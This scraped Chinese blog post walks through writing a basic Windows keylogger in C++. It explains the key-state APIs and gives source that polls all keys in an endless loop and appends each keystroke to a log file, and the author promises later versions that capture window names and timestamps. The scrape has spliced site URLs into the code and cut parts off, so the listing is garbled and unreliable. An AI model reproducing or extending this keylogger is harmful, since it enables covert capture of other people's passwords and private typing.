首页 > 代码库 > C++实现键盘记录器v1.0
C++实现键盘记录器v1.0
首先,我是也是借鉴别人的源码来学习的。因为如果还是按照从头开始看VC++来做的话肯定是来不及的,那我就直接去分析看懂别的人的代码,从中学习并且自己再重新实现一遍,再做些改进。
先来介绍一下所用到的API:
1、fstream这是一个C++处理文件的一个类,里面有很多关于文件处理的函数。定义这个对象就能够使用其中很多的成员方法。
2、GetAsyncKeyState:
函数GetAsyncKeyState确定在调用它时某个按键处于弹起还是按下的,以及此按键是否在上一次调用GetAsyncKeyState之后(“又”)按下过(重复也算按下)。
如果函数成功,则返回值指定此按键自上次上次调用GetAsyncKeyState后是否按下过,以及此按键当前是弹起的还是按下的。如果最高比特位被设置(就是被设为1),此按键就是按下的,并且没有弹起,如果最低位被设置,则此按键在上次调用GetAsyncKeyState之后(“又”)被按下过。但是你不应该依赖于之前的(按键)行为
3、GetKeyState以一个虚拟键位参数,返回这个虚拟键的状态,是按下还是弹起,抑或是像大写锁定键这样的按键的具体触发状态。
若高序位为1,则键处于DOWN状态,否则为UP状态。
若低序位为1,则键被触发。例如CAPS LOCK键,被找开时将被触发。若低序位置为0,则键被关闭,且不被触发。触发键在键盘上的指示灯,当键被触发时即亮,键不被触发时即灭。
具体检查这些状态的时候都需要用位运算的形式才计算。
接下来是具体的代码,注释我应该写的很清楚
#include<iostream> #include<stdio.h> #include<stdlib.h> #include <windows.h> #include <Winuser.h> #include <string> #include <fstream> using namespace std; const int KeyBoardValue = http://www.mamicode.com/0x80000000;>#include"Main.h" int main() { string FileName = "F:\\recover\\2014.7-2015.1\\Keyborad\\log.txt"; string KeyName = ""; fstream FileStream; FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app); while(1) { Sleep(5); for(int i = 8; i <= 255; i++) { if(GetAsyncKeyState(i)&1 == 1) //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过 { KeyName = GetKeyName(i); FileStream.write(KeyName.c_str(), KeyName.size()); FileStream.close(); //写完一次就保存一次 FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app); } } } return 0; } string GetKeyName(int NumKey) { bool IS_SHIFT = JudgeShift(); string revalue = http://www.mamicode.com/"";>
基本上实现了键盘出了HOME键那部分所有的按键记录,这只是先实现一下最基本的功能,后续的版本应该还有把输入的窗口的名字获取到,时间,内容,还有一些组合键都会涉及到。
C++实现键盘记录器v1.0
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。